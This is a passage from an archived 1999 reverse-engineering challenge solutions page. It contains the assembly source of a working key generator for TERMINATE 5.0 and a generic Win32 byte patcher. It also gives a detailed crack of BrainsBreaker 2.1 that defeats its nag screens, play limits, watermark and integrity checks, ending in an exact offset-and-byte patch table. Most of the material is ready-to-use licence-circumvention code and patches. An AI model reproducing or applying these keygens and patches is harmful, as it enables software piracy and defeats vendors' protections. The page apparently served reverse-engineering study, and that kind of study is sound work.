http://www.instinct.org/fravia/99solu/spatcom.htm (16 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov ah,09

mov dx,offset IntroMsg

int 21h ; show intro msg

mov ax,3d00h

mov dx, offset InFileName ; open terminat.exe

int 21h

jc ErrorReadingFile

mov cx,0001h ; use constant pointer value

mov dx,0d984h

mov bx,ax

mov ax,4200h

int 21h

jc ErrorSettingPointer ; set pointer at the right position

mov ax,3f00h

mov cx,1100h

mov dx,offset TerminateDatas ; read Terminate datas

int 21h

mov ah,3Ch ; create keyfile

xor cx,cx

mov dx,offset OutFileName

INT 21h

FillAndAnalyseBuffer:

http://www.instinct.org/fravia/99solu/spatcom.htm (17 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov si,offset Buffer ; fill the buffer

mov cx,0b1h*11 ; with random values

FillBuffer:

call Random

mov [si],ax

inc si

inc si

loopne FillBuffer

;------ FIRST LAYER OF ENCRYPTION : F1 & F2 over buffers 4 and 5 --------

mov MagicWord1, 0FFFFh

mov MagicWord2, 0FFFFh

mov si, (offset Buffer) + 3*162h + 5Bh ; calculate Magic Words

mov F1Index,05Bh

call F1

mov si, (offset Buffer) + 3*162h ; focus on buffer 4

mov dx,MagicWord1 ; write magic word 1

mov word ptr [si+015eh],dx

mov dx,MagicWord2 ; write magic word 2

mov word ptr [si+0160h],dx

mov si, (offset Buffer) + 4*162h ; focus on buffer 5

mov dx,MagicWord1 ; write magic word 1

sub dx,0Ah

mov word ptr [si+015eh],dx

mov dx,MagicWord2 ; write magic word 2

mov word ptr [si+0160h],dx

http://www.instinct.org/fravia/99solu/spatcom.htm (18 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov FirstParameter,0904h ; first call to F2

mov SecondParameter,33EEh

call F2

mov FirstParameter,325Ch ; second call to F2

mov SecondParameter,0000h

call F2

mov FirstParameter,0007h ; third call to F2

mov SecondParameter,0000h

call F2

mov BufferIndex,5Bh

XORLoop: ; XOR loop

mov si,(offset Buffer) + 3*162h

add si,BufferIndex

mov al,[si] ; get byte from buffer

xor al,0FFh

mov [si],al ; put new value in the buffer

mov ax,BufferIndex

cmp ax,161h ; is it finished ?

jz SecondLayer

inc BufferIndex

jmp XORLoop ; no : continue

;------ SECOND LAYER OF ENCRYPTION : F1 all over the file ---------------

SecondLayer:

mov MagicWord1, 0FFFFh

mov MagicWord2, 0FFFFh

http://www.instinct.org/fravia/99solu/spatcom.htm (19 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov si, offset Buffer

Calculate: ; calculate magic words

mov F1Index,0 ; process 15Dh bytes

call F1

inc byte ptr F1Count ; one more buffer processed

cmp F1Count,0Bh ; is it buffer 0Bh ?

jz ConcludeF1 ; yes : conclude

add si,05 ; skip useless bytes

jmp Calculate

ConcludeF1:

mov si, (offset Buffer) + 10*162h

mov dx,MagicWord1

mov word ptr [si+015eh],dx ; write magic word 1

mov dx,MagicWord2

mov word ptr [si+0160h],dx ; write magic word 2

mov si,offset Buffer ; write to file

mov cx,162h*11

call WriteToFile

mov ah,09

mov dx,offset FileCreatedMsg

int 21h ; show end msg

jmp ExitProgram

ErrorSettingPointer: ; error in setting pointer

http://www.instinct.org/fravia/99solu/spatcom.htm (20 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

mov ah,09

mov dx,offset ErrorPointerMsg

int 21h ; show error msg

jmp ExitProgram

ErrorReadingFile: ; error in opening file

mov ah,09

mov dx,offset ErrorOpeningMsg

int 21h ; show error msg

ExitProgram:

int 20h ; exit

;----------- GENERAL PURPOSE PROCEDURES AND FUNCTIONS -------------------

WriteToFile PROC NEAR

push ax

push cx

push dx

push cx

OpenFile:

mov ax,3D82h ; open the file

mov dx,offset OutFileName

INT 21h

Write:

mov bx,ax

xor dx,dx

http://www.instinct.org/fravia/99solu/spatcom.htm (21 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

xor cx,cx ; set pointer at the end

mov ax,4202h ; of the file

INT 21h

jc end_pop_write_to_file

mov ah,40h

pop cx ; write in the file

mov dx,si

INT 21h

jc end_write_to_file

mov ah,3Eh

INT 21h ; close the file

jmp end_write_to_file

end_pop_write_to_file:

pop cx

end_write_to_file:

pop dx

pop cx

pop ax

ret

WriteTofile ENDP

; very simple PRNG

; return a number in ax

Random PROC NEAR

push cx

http://www.instinct.org/fravia/99solu/spatcom.htm (22 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

push dx

and ah,0fh

in al,40h ; get byte from timer

mov cx,ax

mov dx,RandSeed ; get previous randseed

shake:

mul dx

add ax,4321h

add dx,7D96h

loop shake

mov RandSeed,ax ; save new seed

pop dx

pop cx

ret

Random ENDP

;----- CRYPTOGRAPHIC PROCEDURES AND FUNCTIONS --------------------

F1 PROC NEAR

label56B:

mov al,[si] ; load byte from buffer

PUSH AX ; push byte read

PUSH WORD PTR MagicWord2 ; push magic word 2

PUSH WORD PTR MagicWord1 ; push magic word 1

POP BX ; BX = magic word 1

POP DX ; DX = magic word 2

http://www.instinct.org/fravia/99solu/spatcom.htm (23 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

POP CX ; CX = byte read

PUSH DX ; push magic word 2

PUSH BX ; push magic word 1

label595:

XOR BX,CX

XOR BH,BH ; clear upper byte

SHL BX,1

SHL BX,1

ADD BX,offset TerminateDatas ; use loaded datas

MOV AX,[BX] ;

MOV CX,[BX+02]

POP BX ; BX = magic word 1

POP DX ; DX = magic word 1

PUSH CX ; save CX

MOV CX,08 ; initialise loop

label5AC:

SHR DX,1 ; play with magic words

RCR BX,1

LOOP label5AC ; same player play again

AND DX,0FFh

POP CX ; restore CX

XOR AX,BX

MOV BX,CX

XOR DX,BX

MOV MagicWord1,AX ; save magic word 1

MOV MagicWord2,DX ; save magic word 2

mov ax,F1Index ; test buffer index

cmp ax,15Dh ; 15Eh bytes processed ?

http://www.instinct.org/fravia/99solu/spatcom.htm (24 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

jz ExitF1 ; yes : done

inc si

inc F1Index

jmp label56B ; no : continue

ExitF1:

ret

F1 ENDP

F2 PROC NEAR

mov BufferIndex,5Bh

F2Start:

CALL Proc2053 ; calculate new parameters

mov dx,ax

mov si,(offset Buffer) + 3*162h

add si,BufferIndex

MOV AL,[si] ; get byte from buffer

XOR AH,AH

XOR AX,DX ; calculate new value for this byte

MOV DL,AL

MOV [si],DL ; put new value in the buffer

MOV AX,BufferIndex

CMP AX,161h ; did we process 162h bytes ?

JZ OutF2

INC BufferIndex

JMP F2Start ; no : continue

OutF2:

http://www.instinct.org/fravia/99solu/spatcom.htm (25 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

RET

F2 ENDP

Proc2053 PROC NEAR

label2053:

MOV AX,FirstParameter ; get first parameter

MOV BX,SecondParameter ; get second parameter

MOV CX,AX

MUL Cst8405h ; DS:[12BC] = 8405

SHL CX,1 ; play with parameters

SHL CX,1

SHL CX,1

ADD CH,CL

ADD DX,CX

ADD DX,BX

SHL BX,1

SHL BX,1

ADD DX,BX

ADD DH,BL

MOV CL,05

SHL BX,CL

ADD DH,BL

ADD AX,0001

ADC DX,00

MOV FirstParameter,AX ; modify first parameter

MOV SecondParameter,DX ; modify second parameter

XOR AX,AX

MOV BX,0100h ; third parameter is always the same

http://www.instinct.org/fravia/99solu/spatcom.htm (26 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

XCHG AX,DX

DIV BX

XCHG AX,DX

label2097:

RET

Proc2053 ENDP

;------------ DATAS ----------------------------------------------------

OutFileName db "terminat.key",0

InFileName db "terminat.exe",0

IntroMsg db 13,10,'TERMINATE 5.0 Key Generator'

db 13,10,'coded by Spath in 1998'

db 13,10,'for the 1999 +HCU Strainer',13,10,'$'

ErrorOpeningMsg db 13,10,'Error: TERMINAT.EXE not found',13,10,'$'

ErrorPointerMsg db 13,10,'Error: incorrect pointer value',13,10,'$'

FileCreatedMsg db 13,10,'TERMINAT.KEY has been generated...',13,10,'$'

Buffer db 162h*11 dup (0)

MagicWord1 dw 0FFFFh

MagicWord2 dw 0FFFFh

FirstParameter dw ?

SecondParameter dw ?

BufferIndex dw 0

RandSeed dw 5A9Ch

F1Count db 00h

F1Index dw 0

TerminateDatas db 1200h dup(0)

Cst8405h dw 8405h

http://www.instinct.org/fravia/99solu/spatcom.htm (27 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

code ends

End Start

FINAL NOTES

I really enjoyed working on Terminate, which was for me the most

challenging part of the strainer. The author had good ideas to reject

current (and future) false keys. Yet, the decryption scheme is weak,

since F1 is useless and F2 its own inverse. As a result, the encryption

and decryption algorithms are symetricals and not really complicated.

Maybe he should have use real cryptography instead of multiple paranoid

checks.

Spath. (09/98)

---------------------------------------------------------------------------

-= HCU STRAINER 1999 : CHALLENGE 2 =-

Win32 byte patcher

by Spath (08/98).

Goal: 1. Create a Windows based 32 bit byte patcher for any target you

wish, using any programming language.

Tool: TASM 5.0

http://www.instinct.org/fravia/99solu/spatcom.htm (28 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

SoftIce 3.0

I) SOME EXPLANATIONS

II) THE CODE

PART ONE : SOME EXPLANATIONS

My patcher is a simple "search and replace" one ; it loads pieces of

the file in a internal buffer until it finds the byte sequence . Then

the file pointer is set to this location it found and the new sequence

is written to the file. This means in particular that the byte sequence

must be unique, otherwise only the first occurence will be replaced.

Why did I use SetFilePointer after I found the sequence ?

Indeed, if the sequence is in the buffer I just loaded, the file pointer

is already correctly set and I only need to re-write the full buffer.

Yet, I thought that a problem would appear when the byte sequence start

at the end of a buffer and continues at the begining of the next loaded

one.

For this task, I chose assembly because it is is my favourite language

and because I wanted to play with TASM 5.0 (Thanks +Aesculapius !). As

always, I also used SIce for debugging.

Well, not much to say about this challenge, so here's...

http://www.instinct.org/fravia/99solu/spatcom.htm (29 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

PART TWO : THE CODE

;-------------------------------------------------------;

; Simple Win32 Byte Patcher v 0.01 ;

; ;

; coded by Spath (08/98) for +HCU strainer 1999 ;

; compile: tasm32 -ml -m5 -q patcher ;

; link: tlink32 -Tpe -aa -x -c patcher ,,, import32 ;

;-------------------------------------------------------;

.386p

.model flat, stdCALL

EXTRN ReadFile:PROC ; imported functions

EXTRN WriteFile:PROC

EXTRN CloseFile:PROC

EXTRN CreateFileA:PROC

EXTRN CloseHandle:PROC

EXTRN MessageBoxA:PROC

EXTRN SetFilePointer:PROC

EXTRN ExitProcess:PROC

INCLUDE WINDOWS.INC ; the famous one

.DATA

;-- modify these datas to patch your target

http://www.instinct.org/fravia/99solu/spatcom.htm (30 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Filename db "virstop.exe",0

OldChain db 0fbh,81h,21h,0cdh,35h,0feh,0b8h,50h,0a7h,26h,10h

NewChain db 00h,01h,02h,03h,04h,05h,06h,07h,08h,09h,10h

;-- internal constants

FILE_ATTRIBUTE_NORMAL equ 080h

OPEN_EXISTING equ 3

GENERIC_READ equ 80000000h

GENERIC_WRITE equ 40000000h

;-- internal variables

BufferSize equ 5000h

Buffer db BufferSize DUP (?) ; here's the buffer

FileHandle dd ?

BytesRead dd ?

CorrectBytes dd 0

ChainSize equ OFFSET NewChain - OFFSET OldChain

ChainPos dd 0

;-- strings

cptPatcher db 'Patcher32',0

msgFileNotFound db 'Error: the file was not found...',0

msgPatchSuccesfull db 'The target has been succesfully patched !',0

msgSequenceNotFound db 'Error: the byte sequence was not found...',0

msgErrorWriting db 'Error: impossible to write to file...',0

.CODE

http://www.instinct.org/fravia/99solu/spatcom.htm (31 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

START:

push 0

push FILE_ATTRIBUTE_NORMAL

push OPEN_EXISTING

push 0

push 0

push GENERIC_READ OR GENERIC_WRITE

push OFFSET Filename

call CreateFileA ; open the target file

cmp eax,0FFFFFFFFh ; error ?

jz ErrorOpeningFile ; yes : display error message

mov FileHandle, eax ; no : save file handle

mov esi,OFFSET OldChain ; start searching from the begining

ReadLoop:

push 0

push OFFSET BytesRead

push OFFSET BufferSize

push OFFSET Buffer

push FileHandle

call ReadFile ; fill the buffer

mov edi,OFFSET Buffer ; start searching from the begining

LoadByte:

lodsb ; load a byte from OldChain

cmp al,[edi]

http://www.instinct.org/fravia/99solu/spatcom.htm (32 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

je GoodByte ; one byte in common found ?

BadByte:

mov esi, OFFSET OldChain ; no : search from the begining

mov CorrectBytes,0 ; reset consecutive success counter

jmp GoOn

GoodByte: ; one correct byte was found

inc CorrectBytes ; increment consecutive success counter

cmp CorrectBytes,ChainSize ; did we find all the chain ?

jz ChainFound ; yes : go to replace part

GoOn:

inc edi ; increment Buffer pointer

cmp edi, OFFSET FileHandle ; is it the end of the buffer ?

jne LoadByte ; no : check next byte

cmp BytesRead,BufferSize ; yes : is it EOF ?

jne SequenceNotFound ; yes : sequence not found

add ChainPos, BufferSize ; adjust chain position

jmp ReadLoop ; reload from file

ChainFound:

sub edi, ChainSize - 1 ; set edi at the begining of the chain

add ChainPos, edi ; adjust chain position

mov esi, OFFSET NewChain ;

mov ecx, ChainSize

repne movsb ; write new chain over older one

sub edi, ChainSize ; adjust pointer

http://www.instinct.org/fravia/99solu/spatcom.htm (33 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

sub ChainPos, offset Buffer

push 0 ; set file pointer at ChainPos

push 0

push ChainPos

push FileHandle

call SetFilePointer

push 0

push offset BytesRead

push ChainSize ; ChainSize bytes are written from

push edi ; memory address edi into the file

push FileHandle

call WriteFile ; write to file

cmp eax, 1 ; write access ok ?

je Succesfull ; yes

push 0 ; no : prepare "Error writing" message

push offset cptPatcher

push offset msgErrorWriting

push 0

jmp Terminate

Succesfull:

push 0 ; prepare "Succesfull" message

push offset cptPatcher

push offset msgPatchSuccesfull

http://www.instinct.org/fravia/99solu/spatcom.htm (34 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

push 0

jmp Terminate

SequenceNotFound:

push 0 ; prepare "Sequence not found" message

push offset cptPatcher

push offset msgSequenceNotFound

push 0

jmp Terminate

ErrorOpeningFile:

push 0 ; prepare "File not found" message

push offset cptPatcher

push offset msgFileNotFound

push 0

Terminate:

call MessageBoxA ; display message box

push 0

push FileHandle

call CloseHandle ; close file

call ExitProcess ; quit

END START

--------------------------------------------------------------------------

Greetings: _masta_, htak and Iczelion for their good Win32 ASM tutorials.

-= HCU STRAINER 1999 : CHALLENGE 3 =-

http://www.instinct.org/fravia/99solu/spatcom.htm (35 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

BrainsBreaker v 2.1 (32 bits)

by Spath (08/98).

Goal: 1. Completely explain the protection scheme used by this program.


Tools: SoftIce 3.01 (no need to upgrade, my old S3 card works fine)
W32Dasm 8.9 (IDA not needed here)
heXedit 4.3 (the fastest for search&patch)

AT FIRST LOOK
I) DEMO BOXES + SIDES LIMITATION
II) TESTS OF INTEGRITY
III) THE "DEMO" WORD ON THE PICTURES
FINAL NOTES

AT FIRST LOOK
Well, this protection has at least one good point : the registration
method is part of the registration secret. The limitations include demo
boxes, a limition of the sides you can place and an awful "DEMO" word
on the nicest puzzles. I removed them all.

PART ONE : DEMO BOXES AND SIDES LIMITATION

This part will not be very exciting, because it is just a reuse of


well-known methods to remove all the annoying boxes. Since the strings of
these boxes are not visible at first look, I just wait a little bit to
let Bbrk32 load and decode them, and then I search in the data segment.

For the first box ("Warning: the program is running in evaluation mode.You
will be allowed to solve..."), the code is really straightforward :

:00444D73 push 0000002C


:00444D75 call 00420A08 ; see (1)
:00444D7A mov ebx, eax
:00444D7C test eax, eax ; should we show the box ?
:00444D7E je 00444F88 ; no => go to 444F88
:00444D84 add esp, FFFFFFFC ; yes
. . .
:00444D94 call 00465533 ; display the box
:00444D99 jmp 00444F88 ; box closed => 444F88

In the other case (the 3 first puzzles), the message displayed is


"Brainsbreaker unregistered. Please see how to register." but the idea is
the same :

:00444EFE push 0000002C


:00444F00 call 00420A08 ; see (1)
:00444F05 mov [ebp-0088], eax

http://www.instinct.org/fravia/99solu/spatcom.htm (36 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:00444F0B test eax,eax ; should we show the box ?


:00444F0D jz 00444F29 ; no

Since before testing the result value, the prog always saves it somewhere
else, I chose to make a 2 lines patch:

Therefore I changed:

8BD8 mov ebx,eax into 33DB xor ebx,ebx


85C0 test eax,eax 33C0 xor eax,eax

898578FFFFFF mov [ebp-0088],eax into 33C0 xor eax,eax


85C0 test eax,eax 898578FFFFFF mov [ebp-0088],eax

For the "Since now you will be allowed to lock x sides" boxes, the author used
2 counters, counter1 and counter2 respectively incremented by n and decremented
by 2*n (1 < n < 2) ; at the begining, no box is displayed but after a certain
time, 2*Counter1 > Counter2 and you enter the "random display" zone (you also
go there after 25 sides). In this zone, boxes are displayed depending on the
clock for an average rate of. At last, if you have less then 8 sides to put,
a box is displayed every time. Here's the code :

:0044DCC7 movsx eax, word ptr [ebp+FFFFFE2E] ; read Counter1


:0044DCCE add eax, eax ;
:0044DCD0 cmp eax, dword ptr [0048CA9D] ; is (2*Counter1) > Counter2 ?
:0044DCD6 jl 0044DCE2 ; no : go to random test
:0044DCD8 cmp word ptr [ebp+FFFFFE2E], 0019 ; is Counter1 > 19 ?
:0044DCE0 jge 0044DCF4 ; yes : no box this time
|
:0044DCE2 call WINMM!TimeGetTime ; random test based on clock
:0044DCE7 sub eax, dword ptr [0048CBFC]
:0044DCED cmp eax, 00007530 ;
:0044DCF2 jnb 0044DCFE ; no box this time
:0044DCF4 cmp word ptr [ebp+FFFFFE2E], 0008 ; Counter1 > 8 ?
:0044DCFC jg 0044DD68 ; yes : no box displayed
:0044DCFE call WINMM!TimeGetTime ; no : prepare for the box
:0044DD03 mov dword ptr [0048CBFC], eax
:0044DD08 push 0000002C
:0044DD0A call 00420A08 ; see (1)
:0044DD0F mov dword ptr [ebp+FFFFFE10], eax
:0044DD15 test eax, eax
:0044DD17 je 0044DD5A
... ...
:0044DD55 call 00465533 ; -= call the Message Box =-

What is really funny is that counter1 is never decremented ! Each new


value is calculated (with counter2) via a incremental loop which gets
shorter and shorter (and which contains many crazy co-processor
instructions) :

:0044DC6E inc word ptr [ebp+FFFFFE2E] ; increment counter1


:0044DC75 add si, 0002 ; increment loop counter
. . .
:0044DCA7 movsx ecx, byte ptr [edx+54]
:0044DCAB mov eax, dword ptr [ebp+FFFFFE24] ; this value is decreasing

http://www.instinct.org/fravia/99solu/spatcom.htm (37 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:0044DCB1 movsx edx, word ptr [eax+2*ecx+48]


:0044DCB6 push edx
:0044DCB7 call 0045D6E2
:0044DCBC movsx ecx, si
:0044DCBF cmp eax, ecx
:0044DCC1 jg 0044DBBA ; increment again

Counter2 is incremented by this piece of code :


:0045592E push 00000002 ; push increment
:00455930 push 0048CA62 ; push base address (48CA9D - 3B)
:00455935 call 0046E8A1
. . .
:0046E8A4 mov eax, dword ptr [ebp+08] ; get base address
:0046E8A7 mov edx, dword ptr [ebp+0C] ; get increment
:0046E8AA add dword ptr [eax+3B], edx ; increment counter2

In spite of all these efforts, the crack was quite simple : I changed

:0045592E 6A02 push 02 into 6A00 push 00 ; stop counter2 increment

:0044DCD6 7C0A jl 44DCE2 into EB1C jmp 44DCF4 ; skip all the tests

(1):
Of course, I noticed that the real protection test seems to be in the
push 2C/call 420A08 (which should return EAX=0) : the best crack would
certainly have been to patch the 420A08 procedure, but this value seems
not to be enough. Indeed, I tried to put a
BPX 420a08 if @ss:(esp+4)==2c do "p ret ; r eax=0 ; g"
but unfortunately, it crashed after a few calls ; so I decided to try
to patch this way (if it had failed, I would have had to dig deeper
into 420a08).

PART TWO : TESTS OF INTEGRITY


Ok, this works fine under SoftIce, but after having modified the bytes in
Bbrk32.exe, I get a funny "Integrity check: Program seems to be altered from
his original contents". So I put a breakpoint on MessageBoxA and find this
piece of code :

:0044358A push 00000000


:0044358C call 004410AF ; call integrity check procedure
:00443591 cmp eax, 55443322 ; is it correct ?
:00443596 je 0044360A ; yes, go on ...
:00443598 push 00012010 ; display style
:0044359D push dword ptr [00486B04] ; title of the window
:004435A3 add esp, FFFFFFFC
:004435A6 mov word ptr [esp], 00BE
:004435AC call 0043A041
:004435B1 push eax ; text to display
:004435B2 push 00000000 ; an orphaned window
:004435B4 USER32!MessageBoxA ; display error box

If I patch this location as follows

http://www.instinct.org/fravia/99solu/spatcom.htm (38 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:00443591 cmp eax, 55443322 into mov eax, 55443322


:00443596 je 0044360A jmp 0044360A

and start again, I still receive the same infamous message... this paranoid
author put more than one integrity test in his game. How can I find them all ?
With the title parameter, stored in DS:00486B04, which is specific to this
box (see (2)). Looking for the "push dword ptr [00486B0A]" instruction in the
disassembled listing, I find 5 other locations : 41FD9F, 4447E9, 44C9E3,
453F77, 45D033.

All these locations are patched as follows :

:0041FD8A cmp dword ptr[00485880],00012345 into mov dword ptr[00485880],00012345


:0041FD94 je 0041FE3B into jmp 0041FE3B
:004447E2 jnb 0044485F into jmp 0044485F
:0044C9D8 jnb 0044CA63 into jmp 0044CA63
:00453F70 jnb 00453FED into jmp 00453FED
:0045D02C jnb 0045D0A9 into jmp 0045D0A9

(2):
This parameter is required, but it can be
a/ read through indirect addressage : here I trust good old Borland C++
compiler for being consequent in its work.
b/ mirrored somewhere else : here I trust the author's lack of imagination.

PART THREE : THE "DEMO" WORD ON THE PICTURES


For this part, I quickly found out that in every case the picture is
displayed through a User32!UpdateWindow, which simply send a WM_PAINT message
to the window. Since I am an absolute newbie in graphics coding, I needed a
clue (4)... then I noticed that "DEMO" disappear when I click on the model
picture.

So I tried the following :


1) click on the picture and maintain the left button.
2) enter SIce and release the button.
3) "p ret" until I reach the Bbrk32 code

Then I traced a little bit and... Bingo ! This is the graphical function I
was looking for : GDI32!BitBlt. Therefore, I put a breakpoint on this
function and write down all the calling adresses when I select a "clean"
picture (f.i. the fish) from the main screen. Then I do the same thing
with a "demo" picture (f.i. the cat). As expected, this last listing shows
one more call to BitBlt ; here is a piece of the code that cause the "DEMO"
word to appear (not only on the top left corner picture, but also on the
small images and on the full-size one).

:00428915 push 00AC0744 ; see (3)


:0042891A movsx edx, word ptr [ebp-46]
:0042891E push edx ; top left corner Y value (source)
:0042891F movsx ecx, word ptr [ebp-48]
:00428923 push ecx ; top left corner X value (source)
:00428924 mov eax, dword ptr [ebp-40]
:00428927 push [eax+04] ; source handle

http://www.instinct.org/fravia/99solu/spatcom.htm (39 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

:0042892A movsx edx, word ptr [ebp-42]


:0042892E push edx ; height of the picture
:0042892F movsx ecx, word ptr [ebp-44]
:00428933 push ecx ; length of the picture
:00428934 push [ebp-3C] ; top left corner Y value (destination)
:00428937 push [ebp-38] ; top left corner X value (destination)
:0042893A push [esi+04] ; destination handle
:0042893D Call GDI32!BitBlt ; display the bitmap

My first idea was to change the push [edx+04] into push [esi+04], so that the
bitmap is simply overwritten by itself. In fact, it removed the "DEMO" word,
but the gray rectangle remained on the picture ; I therefore had to find
which procedure called this piece of code. Back-tracing was not needed here,
so with simple P RET and STACK commands I found these pieces of code:

for the small pictures:


:00462640 cmp dword ptr [ebp+FFFFFEC4], 00000000 ; write "DEMO" ?
:00462647 je 004627C0 ; no : skip this part
:0046264D mov eax, dword ptr [0048C918] ; yes

for the top-left picture and the full-size one:


:0045D317 push eax
:0045D318 call 0046D872
:0045D31D test eax, eax ; write "DEMO" on the picture ?
:0045D31F je 0045D427 ; no : skip this part
:0045D325 mov edi, 004877AC ; yes

And I change:

:00462647 0F8473010000 je 004627C0 into jmp 004627C0


:0045D31D 85C0 test eax,eax into 33C0 xor eax,eax

(3):

This value is the colour combination parameter, as described in the wingdi.h


file ("Ternary raster operations" paragraph) :

CONST
SRCCOPY : DWORD = 16_00CC0020; (* dest = source *)
SRCPAINT : DWORD = 16_00EE0086; (* dest = source OR dest *)
SRCAND : DWORD = 16_008800C6; (* dest = source AND dest *)
... (a total of 15 parameters are available)
By the way, the 00AC0744 value is not described in it (??)

(4):
After all this work I realized that the "DEMO" string reference in W32dasm
was immediately leading to this piece of code... :(

FINAL NOTES
Well, I enjoyed cracking this game, especially for part 3 (part 2 was quite
disapointing, though). I learned a few things about graphical interface, which
were very useful for the last challenge. Obviously, the author spent some time
on the protection, which deserve respect, even if he chose complexity instead of
precision. I think that my crack is a little bit heavy (12 patches)... I wish I
have had more time to spend on the registration part.

http://www.instinct.org/fravia/99solu/spatcom.htm (40 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

Here's the summary of my crack:

offset old chain new chain


Boxes: 4437A 8B D8 85 33 DB 33
44505 89 85 78 FF FF FF 85 C0 33 C0 89 85 78 FF FF FF

Integrity tests:
1F394 0F 84 A1 E9 A2 00
42B91 3D 22 33 44 55 74 B8 22 33 44 55 EB
43DE2 73 EB
4BFD8 0F 83 85 E9 86 00
53570 73 EB
5C62C 73 EB

"DEMO": 5C91D 85 33
61C47 0F 84 73 01 E9 74 01 00

Sides limitation:
54F2F 02 00
4D2D6 7C 0A EB 1C
Spath. (08/98)
-----------------------------------------------------------------------------

Greetings: - +Frog's Print, a master cracker and a nice person.


- BeLZeBuTH, Ethan, Kellogs, CyberbobJr and all the guys
on +FP's forums.

-= HCU STRAINER 1999 : ULTIMATE CHALLENGE =-


BrainsBreaker v 2.1 (32 bits)

by Spath (09/98).

Goal: The objective of this challenge is to check that:


1. The participant understands the graphical part of demo-reversing.
Tools: SoftIce 3.0
TASM 5.0

I) SOME EXPLANATIONS
II) THE CODE

PART ONE : SOME EXPLANATIONS

The little star animation of BrainsBreaker is made of 14 bitmaps, each


of these bitmaps being run-time calculated. Each bitmap is made of (at
most) 3 parts :

- a main white cross.


- 1 to 3 ellipses, each one inside the previous one, to make a gradation
of colours (the center is always white).
- some pixels and little crosses around when the star is disappearing.

http://www.instinct.org/fravia/99solu/spatcom.htm (41 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

The graphical functions involved are :

- MoveToEx() and LineTo() to draw the crosses.


- Ellipse() to draw the ellipses (no kidding).
- CreatePen() and CreateSolidBrush() to choose the pens and brushes colors.

The stars I create are slightly different (bigger,...) from BBrk32's : the
main reason is that I understood this challenge as a programming one, since I
did not find much to reverse-engineer. I therefore did not try to copy-paste
the disassembled code of BBrk32, but instead tried to write my own. However,
you can obtain almost the same stars if you change these parameters :

DARK_COLOR : color of largest ellipse


LIGHT_COLOR : color of middle ellipse
SIDE_CROSS_NB : number of side crosses per bitmap
ELLIPSE_GAP : distance between two ellipses
SmallCrossSize : small crosses height & width
CrossSize : main cross heights & widths
EllipseSize : main ellipse heights and widths

PART TWO : THE CODE


;-------------------------------------------------------;
; "Star Truc" v 0.01 ;
; ;
; coded by Spath (09/98) for +HCU strainer 1999 ;
; contains code from Henry S. Takeuchi (Htak) ;
; compile: tasm32 -ml -m5 -q startruc ;
; link: tlink32 -Tpe -aa -x -c startruc ,,, import32 ;
;-------------------------------------------------------;

.386

.model flat,STDCALL

MAX_BMP_HEIGHT equ 400

MAX_BMP_WIDTH equ 600

MF_END = 0080h ; end of menu template

; Define Win95 structures

POINT STRUC

ptX dd ?

http://www.instinct.org/fravia/99solu/spatcom.htm (42 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

ptY dd ?

POINT ENDS

MSG STRUC

msgWnd dd ?

msgMessage dd ?

msgWparam dd ?

msgLparam dd ?

msgTime dd ?

msgPt POINT ?

MSG ENDS

PAINTSTRUCT STRUC

psDC dd ? ; hdc

psErase dd ? ; fErase

psRect dd ? ; rcPaint

; the following reserved by Windows

psRestore dd ? ; fRestore

psIncUpdate dd ? ; fIncUpdate

psRGB db 16 dup(?) ; rgbReserved

PAINTSTRUCT ENDS

WNDCLASS STRUC

wcStyle dd ? ; style

wcWndProc dd ? ; lpfnWndProc

wcClsExtra dd ? ; cbClsExtra

wcWndExtra dd ? ; cbWndExtra

http://www.instinct.org/fravia/99solu/spatcom.htm (43 of 63) [2/7/2001 2:58:36 PM]


spatcom.htm +HCU 1999 ~ The 1999 STRAINER's solutions

wcInstance dd ? ; hInstance

wcIcon dd ? ; hIcon

wcCursor dd ? ; hCursor

wcBackgroundBrush dd ? ; hbrBackground

wcMenuName dd ? ; lpszMenuName

